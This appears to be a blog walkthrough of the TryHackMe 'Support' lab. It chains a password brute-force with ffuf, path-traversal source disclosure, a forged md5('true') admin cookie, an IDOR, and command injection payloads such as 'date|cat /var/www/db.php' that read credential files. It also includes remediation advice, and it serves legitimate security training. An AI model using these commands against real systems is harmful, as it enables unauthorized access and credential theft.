mintshell
VI

Support

A brute-forced helpdesk login leads to a theme parameter that discloses PHP source, which reveals a forgeable md5('true') trust cookie for the admin flag, an IDOR, and an OS command injection whose |/; bypass reads cleartext creds and the user flag.

Platform
TryHackMe
Room
Support(external link)
Difficulty
Medium
Vulnerabilities
weak credentials, arbitrary file read, authentication bypass, insecure direct object reference, insecure command execution, cleartext database credentials
7 min read

A walkthrough of the “Support” challenge from TryHackMe. A helpdesk panel falls to a chain of small web flaws: a password we brute-force, a “theme” parameter that leaks the app’s own PHP source, a trust cookie that is just md5('true')**, an IDOR in the internal user API, and finally an OS command injection whose filter is bypassed with | or ;**. Two flags drop along the way — one from forging the admin cookie, one from reading a file via command injection.

Both flags and all credentials are redacted. The public MD5 digests of the words true/false are kept because they are the technique. Support is an authorized training room on TryHackMe; everything here was performed against a legal practice target. Values shown as <redacted> or THM{<redacted>} are real on the box but withheld here.


TL;DR — the whole chain

TL;DR

ffuf brute-forces the helpdesk password for help@support.thm → the dashboard carries a trust cookie isITUser equal to md5('false') → the “Select Theme” feature (dashboard.php?skin=) does a readfile() and, with ?skin=../<name>, discloses the PHP source of dashboard.php, api.php, config.php → the source reveals the gate isITUser !== md5('true') -> die, an IDOR, and an OS command runner → set isITUser = md5('true') (forgeable trust cookie) to unlock the IT Admin Panel and print the admin flag → the API’s /user/<id> is an IDOR (/user/1 = specialadmin, admin) → the dashboard’s sys parameter runs a shell command; a |/; bypasses the filter → sys=date|cat /var/www/db.php leaks cleartext creds and sys=date|cat /home/ubuntu/user.txt yields the user flag.

A guessed password, a source leak, a one-line cookie forgery, and a command injection.

The target

export IP=<target-ip>

nmap -sC -sV shows SSH and an Apache “Support Operations Panel”:

22/tcp open  ssh   OpenSSH 9.6p1 Ubuntu
80/tcp open  http  Apache httpd 2.4.58 ((Ubuntu))   |_http-title: Support Operations Panel

The site is a login panel; gobuster finds /includes, /js, /layout, and /skins — the last one is a clue we come back to.

Step 1 — brute-force the helpdesk login

The login expects an email + password. Knowing a plausible helpdesk address (help@support.thm), we brute-force the password against rockyou, filtering out the known failed-login size:

ffuf -w rockyou.txt -X POST \
  -d "email=help@support.thm&password=FUZZ" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -u http://$IP -fs 2678
# <redacted>   [Status: 302, Size: 0]   <- successful login redirect

Logging in lands on dashboard.php — “Welcome, Helpdesk User”, a ticket management system.

The vulnerability — a theme parameter that leaks source

The dashboard’s “Select Theme” control reloads with ?skin=.... Reading the app’s own source (via that same parameter) shows why that is dangerous:

# dashboard.php (leaked via ?skin=../dashboard)
$isIT = $_COOKIE['isITUser'] ?? md5("false");
$skin = $_GET['skin'] ?? 'default';

$webRoot  = realpath('/var/www/html/skins');
$another  = realpath('/var/www/html');
$requested = realpath($webRoot . '/' . $skin . '.php');
if ($requested !== false && strpos($requested, $another) === 0) {
    readfile($requested);   // reads any *.php under the web root
}

Insight

Two design mistakes meet here. First, skin is only confined to /var/www/html, not to /skins, so ?skin=../api, ?skin=../config, ?skin=../dashboard read the raw PHP source of each file (readfile, not include). Second, that source hands us the keys: the “are you IT staff?” check is just isITUser !== md5('true') — a value the client controls. Source disclosure plus a client-side trust cookie is the whole front end.

Step 2 — read api.php and config.php

With the source-disclosure primitive we pull the rest of the app:

# api.php (via ?skin=../api)
if (($_COOKIE['isITUser'] ?? md5('false')) !== md5('true')) { die('Access denied'); }
include('/var/www/db.php');
$id   = $_GET['id'] ?? $_SESSION['user_id'];   // <- IDOR
$user = $users[$id] ?? null;
if (preg_match('#^/user/#', $_SERVER['REQUEST_URI'])) {
    unset($user['password']); echo json_encode($user, JSON_PRETTY_PRINT);
}

# config.php (via ?skin=../config)
$MASTER_PASSWORD = '<redacted>';

Now we know exactly how to look like IT staff, and that /user/<id> is an IDOR.

The gate compares our cookie to md5('true'). These digests are not secrets — they are the public MD5s of the literal strings:

md5('false') = 68934a3e9455fa72420237eb05902327   (the default cookie)
md5('true')  = b326b5062b2f0e69046810717534cb09   (what the gate wants)

Set the cookie and reload the dashboard:

Cookie: isITUser=b326b5062b2f0e69046810717534cb09

The IT Admin Panel appears, and with it an “Administrator Access Confirmed” banner — the first flag:

THM{<redacted>}   # admin flag

Step 4 — IDOR in the internal user API

The IT Admin Panel’s “View API” (api.php) says a helpdesk user can query their own profile at /user/3. Because id is taken straight from the request, we can walk other users:

GET /user/3   ->  { "email": "help@support.thm",        "2FA": false, "admin": false }
GET /user/1   ->  { "email": "specialadmin@support.thm", "2FA": false, "admin": true  }

/user/1 is specialadmin, an administrator — classic insecure direct object reference.

Step 5 — OS command injection (and the user flag)

The dashboard has a small sys form (a <select> whose options run date). The value is passed to a shell command behind a filter, but a shell separator slips through — | and ; both work. First, list the web root:

POST /dashboard.php
sys=date|ls
# -> api.php  config.php  dashboard.php  footer.php  includes
#    index.php  info.php  js  layout  logout.php  skins

Then read the included DB file, which stores every credential in cleartext:

sys=date|cat /var/www/db.php
# $users = [
#   1 => [ 'email'=>'specialadmin@support.thm', 'password'=>'<redacted>', '2FA'=>false, 'admin'=>true  ],
#   2 => [ 'email'=>'IT@support.thm',           'password'=>'<redacted>', '2FA'=>false, 'admin'=>false ],
#   3 => [ 'email'=>'help@support.thm',         'password'=>'<redacted>', '2FA'=>false, 'admin'=>false ],
# ];

Finally, read the user flag straight off disk:

sys=date|cat /home/ubuntu/user.txt
# THM{<redacted>}   # user flag

Guessed password → source leak → forged cookie (admin flag) → IDOR → command injection (creds + user flag).

Impact

Critical

Critical — CVSS 3.1 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). The box stacks five independent web flaws:

  • Weak credentials — a helpdesk password guessable from rockyou.
  • Arbitrary file read / source disclosure — the skin parameter leaks every PHP file, exposing logic and secrets.
  • Authentication bypass via a forgeable trust cookie — “are you an admin?” is md5('true'), which anyone can set.
  • IDOR — /user/<id> exposes other users’ records, including the admin.
  • OS command injection — the sys parameter runs attacker input, giving full file read (cleartext DB creds) and the user flag, i.e. remote code execution.

Fix

  1. Enforce strong credentials and rate-limiting / lockout so the login can’t be brute-forced.
  2. Confine the theme loader to an allow-list of known skin names; never pass user input into readfile()/realpath() for paths, and keep it inside the intended directory.
  3. Make trust decisions server-side. Store role/privilege in a signed, server-side session — never a client cookie, least of all md5('true').
  4. Enforce object-level authorization on /user/<id> so a user can only read their own record.
  5. Never pass user input to a shell. Drop the command runner, or use a fixed command with no user-controlled arguments; an allow-list beats any character blacklist. Also stop storing passwords in cleartext in db.php.

Takeaways

  • A brute-forceable password is still the front door. Everything after it depended on that first weak credential.
  • Source disclosure is a force multiplier. Reading api.php/config.php turned guesswork into a precise plan — the cookie gate and the IDOR were handed to us.
  • md5('true') is not authentication. Any value the client sets and the server merely compares is forgeable by definition.
  • Character blacklists don’t stop command injection. | and ; walked straight through; only removing the shell call (or a strict allow-list) actually fixes it.

Thanks for reading. Support is a tidy stack of everyday web bugs — weak password, source leak, client-side trust, IDOR, command injection — each small, together more than enough to own the box twice over.